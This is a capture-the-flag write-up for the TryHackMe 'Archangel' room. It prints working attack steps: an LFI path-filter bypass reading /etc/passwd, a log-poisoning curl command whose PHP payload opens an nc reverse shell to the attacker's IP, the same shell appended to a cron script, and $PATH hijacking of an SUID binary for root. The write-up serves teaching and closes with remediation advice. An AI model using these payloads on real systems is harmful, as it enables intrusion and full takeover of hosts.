Archangel Writeup: Log Poisoning and $PATH Hijacking on TryHackMe
Credits
Room: βArchangelβ
Creator: Archangel
Introduction
The Target: Exploiting LFI to get RCE via Log Poisoning
The Problem: The default
../path was filtered by the server when trying to exploit the LFIThe Tools: RustScan, Feroxbuster & FFUF
Reconnaissance
I started by identifying open ports on the machine:
s1de@debian:~$ rustscan -a 10.82.132.19 -- -sVC
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Open ports, closed hearts.
[~] The config file is expected to be at "/home/s1de/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.82.132.19:22
Open 10.82.132.19:80
[...]
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
There were 2 open ports: SSH(22) and HTTP(80).
My next step was to browse through the website and try to find anything interesting there:

I browsed manually through the pages and didnβt find anything useful, so I launched FeroxBuster:
s1de@debian:~$ feroxbuster --url http://10.82.132.19
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.13.1
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://10.82.132.19/
π© In-Scope Url β 10.82.132.19
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.13.1
π Extract Links β true
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 313c http://10.82.132.19/images => http://10.82.132.19/images/
200 GET 22l 56w 642c http://10.82.132.19/layout/scripts/jquery.backtotop.js
[...]
301 GET 9l 28w 312c http://10.82.132.19/flags => http://10.82.132.19/flags/
200 GET 1l 5w 93c http://10.82.132.19/flags/flag.html
There were quite a few different files and directories, but one of them grabbed my attention immediately: the flags/flag.html file.
Unfortunately, when I went to the page, I got redirected and Rick-Rolled, so thatβs quite certainly not the right path:

Since there were no useful directories or files on the web server, I started looking further and launched VHost discovery after Iβd added the archangel.thm to the local hostnames in /etc/hosts to use it instead of the machine IP addres:

s1de@debian:~$ ffuf -u http://mafialive.thm -H "Host: FUZZ.mafialive.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fs 19188 -c
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://mafialive.thm
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.mafialive.thm
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 19188
________________________________________________
:: Progress: [5000/5000] :: Job [1/1] :: 479 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
Sadly, nothing was found.
As a last resort, I inspected the source code of the website and found the support@mafialive.thm email:

I added mafialive.thm to /etc/hosts and navigated to my browser. Indeed, this was something new. It was an βUnder Developmentβ page where I found the first flag:

Since the page was almost empty and there were no links, I started FeroxBuster to find something else:
s1de@debian:~$ feroxbuster --url http://mafialive.thm/
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.13.1
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://mafialive.thm/
π© In-Scope Url β mafialive.thm
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.13.1
π Extract Links β true
π HTTP methods β [GET]
π Recursion Depth β 4
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
200 GET 15l 21w 286c http://mafialive.thm/test.php
[...]
The only page it found was test.php:

After Iβd clicked the button, a new view parameter with the /var/www/html/development_testing/mrrobot.php path appeared in the search bar:

Exploiting LFI
It was an absolute path (an address of a file/directory starting from the root page β/β), so it gave me a clue that there might be an LFI vulnerability.
I added ../../../../../../../../../etc/passwd to the development_testing directory, but it got me nothing:

I attempted to go a different route this time. I used Php Filters to encode the content of mrrobot.php and see if the web server would show it.
The payload was the following: view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php.
The convert.base64-encode function was used to encode the content of the resource file with Base64 and display it on the page.
This worked as expected:

After decoding the string, I got the content of the page, so at that point I was sure that this method works fine:
<?php echo 'Control is an illusion'; ?>
Then, I did the same with the main test.php page. After decoding, I got the following:
<!DOCTYPE HTML>
<html>
<head>
<title>INCLUDE</title>
<h1>Test Page. Not to be Deployed</h1>
</button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
<?php
//FLAG: <REDACTED>
function containsStr($str, $substr) {
return strpos($str, $substr) !== false;
}
if(isset($_GET["view"])){
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
include $_GET['view'];
}else{
echo 'Sorry, Thats not allowed';
}
}
?>
</div>
</body>
</html>
Firstly, there was another flag, and secondly, it clearly showed me how the path filtering worked.
Letβs break it down:
The
containsStris a function that checks for occurance of a substring in a string.Then, the
!containsStr($_GET['view'], '../..')part sees if there are any../..substring in the url. If there are, then the βSorry, Thats not allowedβ is displayed on the page. Otherwise, the content of the file is shown.
I immediately knew how to bypass the filtering at that point, so I changed ../../../ to ..//..//..// to avoid the filtered ../.. pattern. This resulted in the following payload:
view=/var/www/html/development_testing/..//..//..//..//..//..//..//etc/passwd
It worked perfectly and got me the content of the /etc/passwd file:

Exploiting RCE
I knew I needed a reverse shell; hence, I required an RCE vulnerability for that.
Because there is an LFI, I navigated to access logs to attempt Log Poisoning.
Access logs save every connection of a user to the web server. This includes things like an IP address and User-Agent header.
Log Poisoning is a way of exploiting Remote Code Execution by putting something like <?php phpinfo(); ?> instead of your browser User-Agent header. After that, you access the log page, and the code from the header gets executed on the server. The reason this worked in this case was because of the include() function. The web app was meant to run only the test.php and mrrobot.php pages, but since an LFI vulnerability was discovered, the same function was used to display the access.log page.
Because I had the PHP code instead of my User Agent, it got executed by the include() function, and I got an RCE.
To find an access log file, I returned to the output of RustScan to check what type of web server is running:
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
It was an Apache server. The default path for this type of log on this server would be: var/log/apache2/access.log.
And indeed, the content of the file was displayed:

First, I prepared the Netcat listener on port 1928:
s1de@debian:~$ nc -lvnp 1928
listening on [any] 1928 ...
Then, to change the User Agent, I used Curl with the -A flag. I ran the command with the reverse shell instead of the agent header:
curl http://mafialive.thm -A "<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <YourIP> 1928 >/tmp/f'); ?>"
After that, I reloaded the access.log page and got the shell:

Privilege Escalation: User
I upgraded the shell using the following commands:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
Then I pressed [Ctrl + Z] and entered this command:
stty raw -echo; fg
After ensuring that there were no useful files in the directory I was in, I navigated immediately to /home, found the archangel user. Here I found another flag, myfile, and secret:

Inside myfiles I found a passwordbackup file, that contained another Rick Roll link.
The secret directory was unavailable to me due to a lack of permissions.
I decided to search the system for other ways of escalating privileges. Inside the /opt I found 2 files:

The access to backupfiles was restricted, but the helloworld.sh contained the following:
#!/bin/bash
echo "hello world" >> /opt/backupfiles/helloworld.txt
It didnβt look like a good finding, but then I looked at the name of the backupfiles directory again, and thought that there might be some automated backup process in place, so I checked the /etc/crontab file and, indeed, found the process:
www-data@ubuntu:/opt$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/1 * * * * archangel /opt/helloworld.sh
[...]
The /opt/helloworld.sh script is executed by archangel every minute.
This meant that if I could modify the contents of the helloworld.sh file, I could insert a reverse shell there, and it would be executed by archangel, which would give me a user shell.
The great news was that there was an -rwxrwxrwx permission on the file, which meant that anyone could edit it:

I started a new Netcat listener on port 1927:
s1de@debian:~$ nc -lvnp 1927
listening on [any] 1927 ...
Then I added rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <YourIP> 1927 >/tmp/f to the end of helloworld.sh:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <YourIP> 1927 >/tmp/f" >> helloworld.sh
I waited for some time and got the archangel shell:

Then I upgraded it and proceeded to the final privilege escalation.
Privilege Escalation: Root
I headed to the directory that was previously unavailable to me - secret.
Inside, I found another flag:

However, there was something even more enticing: the backup binary with an SUID permission.
In Linux, SUID (Set User ID) is a special type of file permission that allows a user to execute a binary with the permissions of the fileβs owner rather than the permissions of the user who is currently logged in.
| Feature | Standard Binary | Archangel βbackupβ Binary |
| Owner | root | root |
| Permissions | -rwxr-xr-x | -rwsr-xr-x (SUID set) |
| Executes as⦠| The Current User | The Owner (root) |
The owner of the backup binary file was root, so I needed to figure out how to leverage SUID to get the root shell.
I examined the content of the file, but it was unreadable with cat:
archangel@ubuntu:~/secret$ cat backup
@@@@οΏ½ppEE οΏ½οΏ½οΏ½-οΏ½=οΏ½=hpοΏ½-οΏ½=οΏ½=οΏ½888 XXXDDSοΏ½td888 PοΏ½td< < < DDQοΏ½tdRοΏ½tdοΏ½-οΏ½=οΏ½=XX/lib64/ld-linux-x86-64.so.2GNUοΏ½GNUοΏ½οΏ½οΏ½οΏ½οΏ½0οΏ½WοΏ½Ξ οΏ½οΏ½mοΏ½7 <TRUNCATED>
I used the strings command to only pull human-readable text, which proved useful:
archangel@ubuntu:~/secret$ strings backup
/lib64/ld-linux-x86-64.so.2
setuid
system
__cxa_finalize
setgid
__libc_start_main
[...]
cp /home/user/archangel/myfiles/* /opt/backupfiles
[...]
One of the strings was a cp command: cp /home/user/archangel/myfiles/* /opt/backupfiles (the user directory is likely a mistake by the author).
Why this is a golden finding is that the path to the command was not absolute, but relative.
Instead of being /bin/cp, it was just cp.
When we use absolute paths, we tell the computer exactly where to look for the command, ignoring the $PATH variable entirely.
We can think of the $PATH variable as an ordered search list. When you type cp, for example, the system starts at the first directory in the list, looks for a file named cp, and if it doesnβt find it, moves to the second, then third, and so on.
Currently, the list looks like this:
archangel@ubuntu:~/secret$ echo $PATH
/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
I created a cp file in /tmp with /bin/bash -p (which would give me the bash shell) and granted it execute permissions:
echo "/bin/bash -p" > cp
chmod +x cp
Then I added the /tmp directory to the $PATH variable:
archangel@ubuntu:~/secret$ export PATH=/tmp:$PATH
This tells the system to look in /tmp for commands before looking in the standard system folders (/bin, /usr/bin, etc.)
Now, the variable looks like this:
archangel@ubuntu:~/secret$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Everything was in place, so now I just executed the file and got the root shell and the final flag:


When a file has an SUID bit, you can just run it without the sudo -u command, and it will be executed with the permissions of the fileβs owner right away.
Conclusion
Archangel proves that security relies on the smallest details. We bypassed a weak LFI filter with a simple ..// string, turned a passive log file into an active shell via poisoning, and finally leveraged a misconfigured SUID binary. The move from www-data to root wasnβt about complex exploits, but rather understanding how Linux searches for commands. By prepending a malicious directory to our $PATH, we turned a legitimate backup script into a privilege escalation vector.
Remediation
Hardcode Absolute Paths: Always use
/bin/cpinstead ofcpin SUID binaries to prevent$PATHhijacking. This ensures the binary is path-independent and cannot be subverted by user-controlled environment variables.Apply the Principle of Least Privilege: Remove the SUID bit from binaries that donβt strictly require it.
Validate LFI Inputs: Use strict allow-lists for file inclusions rather than trying to filter characters like
../. Filter bypasses like..//demonstrate why blacklisting specific strings is a failing strategy.Harden Log Permissions: Ensure web server logs (
access.log) are not readable by thewww-datauser to mitigate poisoning risks.